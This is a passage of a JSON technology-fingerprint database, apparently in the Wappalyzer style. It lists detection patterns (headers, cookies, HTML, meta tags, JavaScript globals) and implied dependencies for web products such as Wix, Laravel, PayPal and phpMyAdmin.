([\\d.]+)\\;version:\\1"]},"implies":["PHP","MySQL"]},"WebRTC":{},"Reevoo":{"js":["reevooapi","reevooaccesscode","reevooloader.tracking","reevoourl"]},"Gumroad":{"js":["gumroadoverlay","creategumroadoverlay"]},"stores.jp":{"js":["stores_jp"],"implies":["Visa","Mastercard"]},"Ramda":{},"Talkable":{"js":["talkable.config.version"]},"WiziShop":{"js":["wiziblock_array","wiziblocks_list","wscfg.bnavajust"],"headers":{"server":"^wiziserver$"}},"Xpresslane":{},"Appointy":{},"SummerCart":{"js":["scevents"],"implies":["PHP"]},"iThemes Security":{},"WP-Optimize":{"html":["\u003c!--[^\u003e]+cached by wp-optimize"]},"Paths.js":{},"Akamai mPulse":{"cookies":{"akaas_ab-testing":""},"js":["boomr_api_key"],"html":["\u003cscript\u003e[\\s\\s]*?go-mpulse\\.net\\/boomerang[\\s\\s]*?\u003c/script\u003e"],"implies":["Boomerang"]},"PCRecruiter":{"js":["pcrframeoptions","pcrbaseurl","pcrdialog"]},"MaxSite CMS":{"meta":{"generator":["maxsite cms"]},"implies":["PHP"]},"lighttpd":{"headers":{"server":"(?:l|l)ight(?:y)?(?:tpd)?(?:/([\\d\\.]+))?\\;version:\\1"}},"CloudCart":{"meta":{"author":["^cloudcart llc$"]}},"NSW Design System":{"js":["nsw.initsite"]},"Ionicons":{"html":["\u003clink[^\u003e]* href=[^\u003e]+ionicons(?:\\.min)?\\.css"]},"Commerce Server":{"headers":{"commerce-server-software":""},"implies":["Microsoft ASP.NET"]},"AngularDart":{"js":["ngtestabilityregistries"],"implies":["Dart"]},"Paloma":{"js":["paloma.createcookie"]},"ClickHeat":{"js":["clickheatserver"],"implies":["PHP"]},"Leaflet platform":{"implies":["Shopify"]},"Vizury":{"js":["safarivizury","vizury_data"]},"Weaver Xtreme":{"js":["weaverxbottomfooter","weaverxmonitorcontent","weaverxonresize"]},"ExtendThemes Mesmerize":{"js":["mesmerizefooterparalax","mesmerizemenusticky","mesmerizekube","mesmerizedomready"]},"AsciiDoc":{"js":["asciidoc"],"meta":{"generator":["^asciidoc ([\\d.]+)\\;version:\\1"]}},"Datadog":{"js":["dd_logs","dd_rum"]},"LiveRamp PCM":{"js":["wpjsonpliverampgdprcmp"]},"Termly":{},"Apple Pay":{"js":["applepay","applepaybuttonclicked","braintree.applepay","checkout.enabledpayments.applepay","dw.applepay","enableapplepay"]},"CS Cart":{"js":["fn_buy_together_apply_discount","fn_calculate_total_shipping","fn_compare_strings"],"implies":["PHP"]},"DoubleClick Ad Exchange (AdX)":{},"Frontify":{},"Adobe Analytics":{"js":["s_c_il.4.constructor.name","s_c_il.5._c","s_c_il.5.constructor.name","s_c_il.0._c","s_c_il.0.constructor.name","s_c_il.1._c","s_c_il.1.constructor.name","s_c_il.3.constructor.name","s_c_il.2._c","s_c_il.2.constructor.name","s_c_il.3._c","s_c_il.4._c"]},"AfterBuy":{"js":["afterbuystring"]},"VWO":{"js":["vwo","__vwo"]},"Imweb":{"js":["imweb_template"]},"D3":{"js":["d3.version"]},"mod_auth_pam":{"headers":{"server":"mod_auth_pam(?:/([\\d\\.]+))?\\;version:\\1"},"implies":["Apache"]},"uPortal":{"js":["uportal"],"meta":{"description":[" uportal "]},"implies":["Java"]},"Wix":{"cookies":{"domain":"\\.wix\\.com"},"js":["wixbisession","wixperformancemeasurements"],"headers":{"x-wix-renderer-server":"","x-wix-request-id":"","x-wix-server-artifact-id":""},"meta":{"generator":["wix\\.com website builder"]},"implies":["React"]},"Sotel":{"meta":{"generator":["sotel"]}},"Chekkit":{"js":["chekkitsettings.togglechat"]},"aThemes Moesia":{},"Bold Chat":{},"Pace":{"js":["pacepay"]},"Preact":{},"OpenGrok":{"cookies":{"opengrok":""},"meta":{"generator":["opengrok(?: v?([\\d.]+))?\\;version:\\1"]},"implies":["Java"]},"OutTheBoxThemes Panoramic":{},"React Router":{"implies":["React"]},"Freshchat":{"js":["freshbots"]},"Cloudimage":{"js":["ciresponsive.config.domain"]},"Sphinx":{"js":["documentation_options"],"html":["created using \u003ca href=\"https?://(?:www\\.)?sphinx-doc\\.org/\"\u003esphinx\u003c/a\u003e ([0-9.]+)\\.\\;version:\\1"]},"Oxygen":{"html":["\u003cbody class=(?:\"|')[^\"']*oxygen-body","\u003clink [^\u003e]*href=(?:\"|')[^\u003e]*wp-content/plugins/oxygen/"]},"Bokeh":{"js":["bokeh","bokeh.version"],"implies":["Python"]},"Adnegah":{"headers":{"x-advertising-by":"adnegah\\.net"}},"Edgio App Platform":{"cookies":{"layer0_eid":"","layer0_bucket":"","layer0_destination":""},"js":["layer0.metrics"],"headers":{"x-0-status":"","x-0-t":"","x-0-version":"^\\d+ ([\\d.]+) \\;version:\\1"}},"Bikayi":{},"Nexive":{},"Metrilo":{"js":["metrilocookie","metrilo","metrilobotregexp"]},"Salesforce Interaction Studio":{"js":["evergage","evergagehidesections"]},"Twenty Eleven":{},"Parcelforce":{},"SiteEdit":{"meta":{"generator":["siteedit"]}},"BSmart":{"cookies":{"bsmartstate":""},"js":["bsmartpricelist","bsmartconfirmwindow","bsgetbsmartstock"]},"Tail":{},"Howler.js":{"js":["howler","howlerglobal"]},"user.com":{"js":["userengage"],"html":["\u003cdiv[^\u003e]+/id=\"ue_widget\""]},"WysiBB":{"implies":["jQuery"]},"Tencent QQ":{},"Dealer Spike":{},"Yandex.Cloud CDN":{"implies":["Yandex.Cloud"]},"FlagSmith":{"js":["flagsmith"]},"Cubyn":{},"JShop":{"js":["jss_1stepdeliverytype","jss_1stepfillshipping"]},"WordPress VIP":{"headers":{"x-powered-by":"^wordpress vip|wpvip\\.com"},"implies":["WordPress"]},"Tamago":{"html":["\u003clink [^\u003e]*href=\"http://tamago\\.temonalab\\.com"]},"Omni CMS":{},"Moon":{},"enduro.js":{"headers":{"x-powered-by":"^enduro\\.js"},"implies":["Node.js"]},"SkyVerge":{"js":["sv_wc_payment_gateway_payment_form_param"],"implies":["WooCommerce"]},"Adally":{},"Vitrin.me":{"implies":["Python","Django","React","Next.js"]},"Cowboy":{"headers":{"server":"^cowboy$"}},"AppNexus":{"js":["appnexus","appnexusvideo"]},"Powergap":{"html":["\u003ca[^\u003e]+title=\"powergap","\u003cinput type=\"hidden\" name=\"shopid\""]},"Revy":{"js":["revyupsell","revyapp","revybundle"]},"GetResponse":{"js":["grapp","grwf2"]},"Sovrn":{"js":["sovrn","sovrn_render"]},"TotalCode":{"headers":{"x-powered-by":"^totalcode$"}},"Sapper":{"js":["__sapper__"],"html":["\u003cscript[^\u003e]*\u003e__sapper__"],"implies":["Svelte","Node.js"]},"Impact":{"js":["impactradiusevent","irevent"]},"MiniServ":{"headers":{"server":"miniserv/([\\d\\.]+)\\;version:\\1"},"implies":["Webmin"]},"CPG Dragonfly":{"headers":{"x-powered-by":"^dragonfly cms"},"meta":{"generator":["cpg dragonfly"]},"implies":["PHP"]},"Astra Widgets":{},"Voracio":{"cookies":{"voracio_sessionid":"","voracio_csrf_token":""},"js":["voracio"]},"AlmaLinux":{"headers":{"server":"almalinux"}},"Paylocity":{},"InstantCMS":{"cookies":{"instantcms[logdate]":""},"meta":{"generator":["instantcms"]},"implies":["PHP"]},"Omny Studio":{},"RX Web Server":{"headers":{"x-powered-by":"rx-web"}},"Rakuten Digital Commerce":{"js":["rakutenapplication"]},"Plaza":{},"Reinvigorate":{"js":["reinvigorate"]},"PayWhirl":{"js":["paywhirlforshopifysettings"]},"Qwik":{},"Gist Giftship":{},"Geniee":{},"Loja Virtual":{"js":["id_loja_virtual","link_loja_virtual","loja_sem_dominio"]},"Flask":{"headers":{"server":"werkzeug/?([\\d\\.]+)?\\;version:\\1"},"implies":["Python"]},"Infogram":{"js":["infogramembeds"]},"NEO - Omnichannel Commerce Platform":{"headers":{"powered":"jet-neo"}},"Shopistry":{},"NoFraud":{},"SalesReps.io":{},"The.com":{"implies":["React","Amazon S3"]},"Locksmith":{"js":["locksmith"],"implies":["Shopify"]},"Boba.js":{"implies":["Google Analytics"]},"RD Station":{"js":["rdstation"]},"SPIP":{"headers":{"composed-by":"spip ([\\d.]+) @\\;version:\\1","x-spip-cache":""},"meta":{"generator":["(?:^|\\s)spip(?:\\s([\\d.]+(?:\\s\\[\\d+\\])?))?\\;version:\\1"]},"implies":["PHP"]},"Tealium Consent Management":{},"Raphael":{"js":["raphael.version"]},"MyCashFlow":{"headers":{"x-mcf-id":""}},"i-mobile":{},"Thinkific":{"cookies":{"_thinkific_session":""},"js":["thinkificanalytics","thinkific"]},"Histats":{"js":["histats.ver"]},"GrocerKey":{},"Trunkrs":{},"RequireJS":{"js":["requirejs.version"]},"Rebuy":{"js":["rebuyconfig"],"implies":["Cart Functionality"]},"Freshop":{"js":["freshop","freshopinitialized"],"meta":{"author":["^freshop, inc\\.$"]}},"AirRobe":{"js":["airrobe.app_id"]},"MantisBT":{"html":["\u003cimg[^\u003e]+ alt=\"powered by mantis bugtracker"],"implies":["PHP"]},"Website Creator":{"meta":{"generator":["website creator by hosttech"],"wsc_rendermode":[]},"implies":["PHP","MySQL","Vue.js"]},"Xitami":{"headers":{"server":"xitami(?:/([\\d.]+))?\\;version:\\1"}},"Aksara CMS":{"implies":["PHP","MySQL","CodeIgniter","Bootstrap","jQuery","OpenLayers"]},"Virtusize":{},"Borlabs Cookie":{"js":["borlabscookieconfig"]},"Prototype":{"js":["prototype.version"]},"Q4":{"js":["q4app.a11yannouncement","q4defaults.fancysignup"]},"Site Meter":{},"Kitcart":{"implies":["Laravel","PHP"]},"Booksy":{"js":["booksy"]},"uKnowva":{"headers":{"x-content-encoded-by":"uknowva ([\\d.]+)\\;version:\\1"},"html":["\u003ca[^\u003e]+\u003epowered by uknowva\u003c/a\u003e"],"meta":{"generator":["uknowva (?: ([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"Genesys Cloud":{"js":["purecloud_webchat_frame_config"]},"PWA Studio":{"js":["__fetchlocaledata__","fetchrootcomponent"]},"Hypervisual Page Builder":{"js":["hypervisualpreflight"]},"Zend":{"cookies":{"zendserversessid":""},"headers":{"x-powered-by":"zend(?:server)?(?:[\\s/]?([0-9.]+))?\\;version:\\1"}},"GitBook":{"js":["__gitbook_initial_props__","__gitbook_initial_state__","__gitbook_lazy_modules__"],"meta":{"generator":["gitbook ([\\d.]+)?\\;version:\\1"]}},"Beeketing":{"js":["beeketinganalyticsparams","beeketingsdkloaded"]},"Go":{},"PubSubJS":{"js":["pubsub","pubsub.version"]},"plentymarkets":{"headers":{"x-plenty-shop":""},"meta":{"generator":["plentymarkets"]}},"Modified":{"meta":{"generator":["\\(c\\) by modified ecommerce shopsoftware ------ http://www\\.modified-shop\\.org"]}},"Azure":{"cookies":{"arraffinity":"","tipmix":""},"headers":{"server":"^windows-azure","x-ms-client-request-id":"","x-ms-correlation-request-id":"","x-ms-gateway-requestid":"","azure-regionname":"","azure-sitename":"","azure-slotname":"","azure-version":""}},"PushPushGo":{},"Chargebee":{"js":["chargebee","chargebeetrackfunc"]},"WP Fastest Cache":{"js":["wpfcll"]},"Re:amaze":{"js":["reamaze.version"]},"AiSpeed":{"js":["aispeed_init"],"implies":["Shopify"]},"JuicyAds":{"js":["adsbyjuicy"],"meta":{"juicyads-site-verification":[]}},"Picreel":{"js":["picreel"]},"jComponent":{"js":["main.version"],"implies":["jQuery"]},"ExoClick":{"meta":{"exoclick-site-verification":[]}},"GoDaddy Online Store":{"headers":{"via":"^1\\.1 mysimplestore\\.com$"}},"YaBB":{"html":["powered by \u003ca href=\"[^\u003e]+yabbforum"]},"Image Relay":{"js":["imagerelay.accounts"]},"Cotonti":{"meta":{"generator":["cotonti"]},"implies":["PHP"]},"utterances":{},"Scissor Themes Writee":{},"Bluefish":{"meta":{"generator":["bluefish(?:\\s([\\d.]+))?\\;version:\\1"]}},"Yodel":{},"Zonos":{"js":["zonos","zonos","zonoscheckout"]},"eZ Publish":{"cookies":{"ezsessid":""},"headers":{"x-powered-by":"^ez publish"},"meta":{"generator":["ez publish"]},"implies":["PHP"]},"Ezoic":{"js":["ezoictestactive","ezoica","ezoicbanger"]},"ClustrMaps Widget":{},"Smile":{"js":["smile.channel_key"]},"Acquia Cloud Classic":{"headers":{"x-ah-environment":"prod"},"implies":["Acquia Cloud Platform","Amazon EC2","Percona","Red Hat Gluster"]},"Cendyn":{"headers":{"x-powered-by":"^nextguest cms"}},"Gogs":{"cookies":{"i_like_gogits":""},"html":["\u003cdiv class=\"ui left\"\u003e\\n\\s+© \\d{4} gogs version: ([\\d.]+) page:\\;version:\\1","\u003cbutton class=\"ui basic clone button\" id=\"repo-clone-ssh\" data-link=\"gogs@"],"meta":{"keywords":["go, git, self-hosted, gogs"]},"implies":["Go","Macaron"]},"HighStore":{"meta":{"generator":["^highstore\\.ir$"],"hs:version":["^([\\d\\.]+)$\\;version:\\1\\;confidence:50"]},"implies":["Microsoft ASP.NET"]},"Affiliatly":{},"Trackify X":{"implies":["Shopify"]},"GoKwik":{"js":["gokwikbuynow","gokwikcheckoutapp","gokwiksdk"]},"Python":{"headers":{"server":"(?:^|\\s)python(?:/([\\d.]+))?\\;version:\\1"}},"RainLoop":{"js":["rainloop","rainloopi18n"],"headers":{"server":"^rainloop"},"html":["\u003clink[^\u003e]href=\"rainloop/v/([0-9.]+)/static/apple-touch-icon\\.png/\u003e\\;version:\\1"],"meta":{"rlappversion":["^([0-9.]+)$\\;version:\\1"]},"implies":["PHP"]},"Paidy":{"js":["constants.paidy"]},"Livefyre":{"js":["lf.commentcount","fyre","fyreloader","l.version"],"html":["\u003c[^\u003e]+(?:id|class)=\"livefyre"]},"ApplicantStack":{},"Movable Type":{"meta":{"generator":["movable type"]}},"Pinterest":{},"FirstHive":{},"Klickly":{},"Drupal Commerce":{"html":["\u003c[^\u003e]+(?:id=\"block[_-]commerce[_-]cart[_-]cart|class=\"commerce[_-]product[_-]field)"],"implies":["Drupal"]},"GraphQL":{"meta":{"store-config":["graphqlmethod"]}},"Typekit":{"js":["typekit.config.js"],"html":["\u003clink [^\u003e]*href=\"[^\"]+use\\.typekit\\.(?:net|com)"]},"Facebook Pay":{},"Gemius":{"js":["gemius_init","gemius_pending","pp_gemius_hit","gemius_hit"],"html":["\u003ca [^\u003e]*onclick=\"gemius_hit"]},"Sniply":{"js":["sniply.create_sniply_bar"]},"Simplero":{"js":["simplero"]},"Stimulus":{"html":["\u003c[^\u003e]+data-controller"]},"Laravel":{"cookies":{"laravel_session":""},"js":["laravel"],"implies":["PHP"]},"Barba.js":{"js":["barba.version"]},"FoodBooking":{"implies":["GloriaFood"]},"GSAP":{"js":["tweenmax.version","gsap.version","gsapversions","tweenlite.version"]},"Redis":{},"Smartstore biz":{},"Twitter Emoji (Twemoji)":{"js":["twemoji"]},"Oracle Recommendations On Demand":{},"TYPO3 CMS":{"html":["\u003clink[^\u003e]+ href=\"/?typo3(?:conf|temp)/","\u003cimg[^\u003e]+ src=\"/?typo3(?:conf|temp)/","\u003c!--\n\tthis website is powered by typo3"],"meta":{"generator":["typo3\\s+(?:cms\\s+)?(?:[\\d.]+)?(?:\\s+cms)?"]},"implies":["PHP"]},"BookDinners":{},"Chamilo":{"headers":{"x-powered-by":"chamilo ([\\d.]+)\\;version:\\1"},"meta":{"generator":["chamilo ([\\d.]+)\\;version:\\1"]},"implies":["PHP"]},"microCMS":{},"Getintent":{},"SDL Tridion":{"html":["\u003cimg[^\u003e]+_tcm\\d{2,3}-\\d{6}\\."]},"Iamport":{"js":["imp.request_pay"]},"toastr":{"js":["toastr.version"]},"Griddo":{"meta":{"generator":["^griddo$"]},"implies":["React","Gatsby"]},"Shapecss":{"js":["shapecss"],"html":["\u003clink[^\u003e]* href=\"[^\"]*shapecss(?:\\.min)?\\.css"]},"LoginRadius":{"js":["loginradiussdk","loginradiusutility","loginradius","loginradiusdefaults"]},"Komodo CMS":{"meta":{"generator":["^komodo cms"]},"implies":["PHP"]},"Sinatra":{"js":["sinatraslideup","sinatra_vars.nonce"]},"OpenUI5":{"js":["sap.ui.version"]},"Baidu Maps":{"js":["bmap_api_version","bmap.version"]},"gitlist":{"html":["\u003cp\u003epowered by \u003ca[^\u003e]+\u003egitlist ([\\d.]+)\\;version:\\1"],"implies":["PHP","git"]},"Fastcommerce":{"meta":{"generator":["^fastcommerce"]}},"Antsomi CDP 365":{},"PhotoShelter":{"implies":["PHP","MySQL","jQuery"]},"Open Journal Systems":{"cookies":{"ojssid":""},"meta":{"generator":["open journal systems(?: ([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"Carbon Ads":{"js":["_carbonads","_carbonads_go"]},"Whooshkaa":{"html":["\u003ciframe src=\"[^\u003e]+whooshkaa\\.com"]},"LiveChat":{},"Eleventy":{"meta":{"generator":["^eleventy\\sv([\\d\\.]+)$\\;version:\\1"]}},"Sonobi":{},"Pretty Links":{},"\u003cmodel-viewer\u003e":{},"Provide Support":{},"WorldShopping":{},"Perfex CRM":{},"IBM HTTP Server":{"headers":{"server":"ibm_http_server(?:/([\\d.]+))?\\;version:\\1"}},"Highcharts":{"js":["highcharts","highcharts.version"],"html":["\u003csvg[^\u003e]*\u003e\u003cdesc\u003ecreated with highcharts ([\\d.]*)\\;version:\\1"]},"Substack":{"headers":{"x-cluster":"substack","x-served-by":"substack"}},"WildJar":{},"phpMyAdmin":{"js":["pma_absolute_uri"],"html":["!\\[cdata\\[[^\u003c]*pma_version:\\\"([\\d.]+)\\;version:\\1","(?: \\| phpmyadmin ([\\d.]+)\u003c\\/title\u003e|pma_sendheaderlocation\\(|\u003clink [^\u003e]*href=\"[^\"]*phpmyadmin\\.css\\.php)\\;version:\\1"],"implies":["PHP","MySQL"]},"Reactive":{"meta":{"generator":["reactive"]},"implies":["Ruby on Rails"]},"Ko-fi":{"js":["kofiwidget2"]},"EKM":{"cookies":{"ekmpowershop":""},"js":["_ekmpinpoint"]},"Qualaroo":{"js":["qualaroo_dnt"]},"Connectif":{"js":["connectif.version","connectifinfo.store"]},"Shortcodes Ultimate":{},"Incapsula":{"headers":{"x-cdn":"incapsula"}},"SiteSpect":{"js":["ss_dom_var"]},"Ryviu":{"js":["ryviu_global_settings"]},"NodeBB":{"headers":{"x-powered-by":"^nodebb$"},"implies":["Node.js"]},"Themegraphy Graphy":{},"Salonist":{},"PayPal":{"js":["paypal","paypalclientid","paypaljs","wc_ga_pro.available_gateways.paypal","paypal","__paypal_global__","checkout.enabledpayments.paypal","enablepaypal"],"headers":{"content-security-policy":"\\.paypal\\.com"},"meta":{"id":["in-context-paypal-metadata"]}},"Clipboard.js":{},"Spin-a-Sale":{},"ESW":{"js":["eshopworld","eswretailerdisplayconfiguration"]},"WebMetric":{"cookies":{"_wmuid":""},"js":["_wmid"]},"GX WebManager":{"html":["\u003c!--\\s+powered by gx"],"meta":{"generator":["gx webmanager(?: ([\\d.]+))?\\;version:\\1"]}},"Tealium":{"js":["tealiumenabled"]},"Zoominfo Chat":{},"Symfony":{"cookies":{"sf_redirect":""},"js":["sfjs"],"implies":["PHP"]},"Dachser":{},"Mongrel":{"headers":{"server":"mongrel"},"implies":["Ruby"]},"Mouse Flow":{"js":["_mfq"]},"Baidu Analytics (百度统计)":{},"RevJet":{},"Hugo":{"meta":{"generator":["hugo ([\\d.]+)?\\;version:\\1"]}},"ef.js":{"js":["ef.version","efcore"]},"Tangled Network":{"headers":{"x-hosting-provider":"tangled network"}},"BigCommerce":{"js":["bigcommerce_i18n","bigcommerce_config"]},"Understrap":{"implies":["Bootstrap","Underscore.js"]},"Phaser":{"js":["phaser","phaser.version"]},"XMB":{"html":["\u003c!-- powered by xmb"]},"OptinMonster":{"js":["optinmonsterapp"]},"Salesforce Audience Studio":{"js":["krux","updatekruxcookie"]},"Catch":{"js":["catch"]},"Editor.js":{"js":["editorjs"]},"T1 Pagos":{"meta":{"generator":["^t1pagos$"]}},"eCaupo":{},"Shopify Product Reviews":{"js":["spr"],"implies":["Shopify"]},"Shopify Buy Button":{"js":["shopifybuy"]},"Naver Analytics":{"meta":{"naver-site-verification":[]}},"Google Call Conversion Tracking":{"js":["_googcalltrackingimpl","google_wcc_status"]},"Picturepark":{"js":["pictureparkconfiguration"]},"Convertcart":{},"Mittwald":{},"SpurIT Partial Payments App":{"implies":["Shopify"]},"Adabra":{"js":["adabrapreview","adabra_version_panel","adabra_version_track"]},"Goftino":{"js":["goftino.setwidget","goftinoremoveload","goftino_1","goftino_geturl"]},"SteelHouse":{},"Highlight.js":{"js":["hljs.highlightblock","hljs.listlanguages"]},"Mapplic":{},"ExpressionEngine":{"cookies":{"exp_csrf_token":"","exp_last_activity":"","exp_tracker":""},"implies":["PHP"]},"Alli":{},"Pinterest Conversion Tag":{"js":["pintrk"]},"Postpay":{"js":["postpayjsconfig","postpay","wc_postpay_init_params"]},"Lieferando":{"js":["tealium.pagedata.country"]},"ServiceNow":{},"SpurIT Loyalty App":{"js":["spurit.loyaltypoints"],"implies":["Shopify"]},"ShippyPro":{"js":["shippyproreturnform"]},"Parse.ly":{"js":["parsely"]},"Vignette":{"html":["\u003c[^\u003e]+=\"vgn-?ext"]},"jQuery":{"js":["$.fn.jquery","jquery.fn.jquery"]},"Kotisivukone":{},"Acquia Customer Data Platform":{"js":["$a1","$a1config","agiloneobject"]},"Avangate":{"js":["avacart.version","__avng8_callbacks","avaslugify"],"implies":["Verifone 2Checkout"]},"Userflow":{"js":["userflow.endallflows","userflow.endchecklist","userflowjs_queue"]},"Twenty Nineteen":{},"Caddy":{"headers":{"server":"^caddy$"},"implies":["Go"]},"Pojo.me":{"js":["pojoa11yoptions"]},"WideBundle":{"implies":["Shopify"]},"AcuityAds":{"js":["acuityadseventqueue","acuityadspixelkey"],"headers":{"content-security-policy":"\\.acuityplatform\\.com"}},"HostEurope":{},"Delivengo":{},"lit-html":{"js":["lithtmlversions.0"]},"Feefo":{"js":["feefotracker","feefowidget"]},"LyraThemes Kale":{"js":["kale_responsive_videos"]},"Sana Commerce":{"js":["sana.ui"]},"LogRocket":{},"Deno Deploy":{"headers":{"server":"^deno/*"},"implies":["Deno"]},"Akamai":{"headers":{"x-edgeconnect-origin-mex-latency":"","x-akamai-transformed":"","x-edgeconnect-midmile-rtt":""}},"Hashnode":{},"GroupBy":{},"AdThrive":{"js":["adthrive","adthrivevideosinjected"]},"Artifactory Web Server":{"headers":{"server":"artifactory(?:/([\\d.]+))?\\;version:\\1"},"implies":["Artifactory"]},"Gallery":{"js":["$.fn.gallery_valign","galleryauthtoken"],"html":["\u003cdiv id=\"gsnavbar\" class=\"gcborder1\"\u003e","\u003ca href=\"http://gallery\\.sourceforge\\.net\"\u003e\u003cimg[^\u003e]+powered by gallery\\s*(?:(?:v|version)\\s*([0-9.]+))?\\;version:\\1"]},"Twitch Player":{"js":["twitch.player"]},"Zendesk Chat":{},"SitePad":{"meta":{"generator":["^sitepad(?:\\s([\\d\\.]+))?$\\;version:\\1"]},"implies":["PHP"]},"PurpleAds":{"meta":{"purpleads-verification":[]}},"Photoslurp":{"js":["photoslurp","photoslurpwidgetsettings","photoslurp_script","photoslurp_wdgts"]},"Yieldlab":{},"DreamWeaver":{"js":["mm_preloadimages","mm_showhidelayers","mm_showmenu"],"html":["\u003c!--[^\u003e]*(?:instancebegineditable|dreamweaver([^\u003e]+)target|dwlayoutdefaulttable)\\;version:\\1"]},"Mailgun":{},"MakeShop":{"js":["makeshop_topsearch","makeshop_ga_gtag"]},"SharpSpring":{"js":["sharpspring_tracking_installed"]},"mdBook":{"implies":["Rust","Handlebars"]},"Rewardful":{"js":["rewardful"]},"XenForo":{"cookies":{"xf_session":"","xf_csrf":""},"js":["xf.guestusername"],"html":["(?:jquery\\.extend\\(true, xenforo|\u003ca[^\u003e]+\u003eforum software by xenforo™|\u003c!--xf:branding|\u003chtml[^\u003e]+id=\"xenforo\")","\u003chtml id=\"xf\" "],"implies":["PHP","MySQL"]},"ZoodPay":{},"ECharts":{},"FilePond":{"js":["filepond.create","filepond.setoptions","filepond"]},"Bolt CMS":{"meta":{"generator":["bolt"]},"implies":["PHP"]},"Allyable":{},"Wiki.js":{"js":["wiki.$_apolloinitdata","wiki.$apolloprovider"],"implies":["Node.js"]},"crypto-js":{"js":["cryptojs.rabbit","cryptojs.algo"]},"1C-Bitrix":{"cookies":{"bitrix_sm_guest_id":"","bitrix_sm_last_ip":"","bitrix_sm_sale_uid":""},"headers":{"set-cookie":"bitrix_","x-powered-cms":"bitrix site manager"},"implies":["PHP"]},"GoJS":{"js":["go.graphobject","go.version"]},"Adobe Audience Manager":{"cookies":{"aam_uuid":"","demdex":""}},"Bread":{"js":["breadcalc","breaderror","breadloaded","breadshopify","bread.apphost"]},"Elm-ui":{"html":["\u003cstyle\u003e[\\s\\s]*\\.explain \u003e \\.s[\\s\\s]*\\.explain \u003e \\.ctr \u003e \\.s"],"implies":["Elm"]},"Taboola":{"js":["_taboola","_taboolanetworkmode","taboola_view_id"]},"Pendo":{"js":["pendo.host","pendo.version"]},"PDF.js":{"js":["pdfjs","pdfjs.version","_pdfjscompatibilitychecked","pdfjs-dist/build/pdf.version","pdfjsdistbuildpdf.version","pdfjslib.version"],"html":["\u003c\\/div\u003e\\s*\u003c!-- outercontainer --\u003e\\s*\u003cdiv\\s*id=\"printcontainer\"\u003e\u003c\\/div\u003e"]},"Gameball":{"js":["gbsdk.settings.shop","gbreferralcodeinput"]},"InMoment":{"headers":{"content-security-policy":"\\.inmoment\\.com","content-security-policy-report-only":"\\.inmoment\\.com"}},"Login with Amazon":{"js":["onamazonloginready"]},"Oracle Dynamic Monitoring Service":{"headers":{"x-oracle-dms-ecid":""}},"Google Sign-in":{"meta":{"google-signin-client_id":[],"google-signin-scope":[]}},"parcel":{"js":["parcelrequire"]},"MaxMind":{},"Liveinternet":{"html":["\u003cscript [^\u003e]*\u003e[\\s\\s]*//counter\\.yadro\\.ru/hit","\u003c!--liveinternet counter--\u003e","\u003c!--/liveinternet--\u003e","\u003ca href=\"http://www\\.liveinternet\\.ru/click\""]},"ATSHOP":{},"Asendia":{},"Font Awesome":{"js":["fontawesomecdnconfig","___font_awesome___"],"html":["\u003clink[^\u003e]* href=[^\u003e]+(?:([\\d.]+)/)?(?:css/)?font-awesome(?:\\.min)?\\.css\\;version:\\1","\u003clink[^\u003e]* href=[^\u003e]*kit\\-pro\\.fontawesome\\.com/releases/v([0-9.]+)/\\;version:\\1"]},"WooCommerce PayPal Payments":{"implies":["PayPal"]},"Slider Revolution":{"js":["revapi5","revslider_showdoublejqueryerror","rs_modules.main.version","revapi1","revapi2","revapi3","revapi4"]},"FastComet":{},"Squarespace Commerce":{"js":["squarespace_rollups.squarespace-commerce","static.squarespace_context.templateversion"],"headers":{"server":"squarespace"},"implies":["Squarespace"]},"EX.CO":{"js":["__exco_integration_type","excopixelurl","__exco"]},"Avis Verifies":{"js":["avisverifies"]},"Asciinema":{"js":["asciinema"],"html":["\u003casciinema-player"]},"ShinyStat":{"js":["sssdk"],"html":["\u003cimg[^\u003e]*\\s+src=['\"]?https?://www\\.shinystat\\.com/cgi-bin/shinystat\\.cgi\\?[^'\"\\s\u003e]*['\"\\s/\u003e]"]},"Etix":{"js":["etix.javacontext"]},"Amazon Web Services":{"headers":{"x-amz-err-message":"","x-amz-id-2":"","x-amz-req-time-micros":"","x-amz-request-id":"","x-amz-rid":"","x-amz-version-id":"","x-amz-delete-marker":"","x-amz-err-code":""}},"GiveWP":{"js":["give.donor","giveapisettings"]},"With Reach":{},"Intercom":{"js":["intercom"]},"Loop54":{"cookies":{"loop54user":""},"js":["loop54.config.libversion"]},"AddToAny":{"js":["a2apage_init"]},"Crazy Egg":{"js":["ce2"]},"CTT":{},"Websale":{"cookies":{"websale_ac":""}},"Boomerang":{"js":["boomr","boomr_lstart","boomr_mq"]},"Mozard Suite":{"meta":{"author":["mozard"]}},"Google Charts":{"js":["__googlevisualizationabstractrendererelementscount__","__gvizguard__"]},"Marked":{"js":["marked"]},"HulkApps GDPR/CCPA Compliance Manager":{"js":["hulksetcookie"],"implies":["Shopify"]},"Shopapps":{"js":["istockurl","iwishurl"],"implies":["Shopify"]},"lit-element":{"js":["litelementversions.0"]},"Vue.ai":{"js":["getvueurlsegments","vuex"]},"Shopcada":{"js":["shopcada"]},"Quantum Metric":{},"SiteJabber":{},"XAMPP":{"html":["\u003ctitle\u003exampp(?: version ([\\d\\.]+))?\u003c/title\u003e\\;version:\\1"],"meta":{"author":["kai oswald seidler\\;confidence:10"]},"implies":["Apache","MySQL","PHP","Perl"]},"Timeplot":{"js":["timeplot"]},"WebGUI":{"cookies":{"wgsession":""},"meta":{"generator":["^webgui ([\\d.]+)\\;version:\\1"]},"implies":["Perl"]},"NACEX":{},"Timify":{"js":["timifywidget"]},"Tatari":{"js":["tatari"]},"Microsoft Word":{"html":["(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:word\"|\u003cw:worddocument\u003e|\u003cdiv [^\u003e]*class=\"?wordsection1[\" \u003e]|\u003cstyle[^\u003e]*\u003e[^\u003e]*@page wordsection1)"],"meta":{"progid":["^word\\."],"generator":["microsoft word( [\\d.]+)?\\;version:\\1"]}},"OnePage Express":{"js":["one_page_express_settings"]},"Xeora":{"headers":{"x-powered-by":"xeoracube","server":"xeoraengine"},"html":["\u003cinput type=\"hidden\" name=\"_sys_bind_\\d+\" id=\"_sys_bind_\\d+\" /\u003e"],"implies":["Microsoft ASP.NET"]},"Cookiebot":{},"three.js":{"js":["three.revision","__three__"]},"Alexa Certified Site Metrics":{"js":["_atrk_opts.domain"]},"HikeOrders":{},"MaxCDN":{"headers":{"server":"^netdna","x-cdn-forward":"^maxcdn$"}},"Muuri":{"js":["muuri"]},"In Cart Upsell \u0026 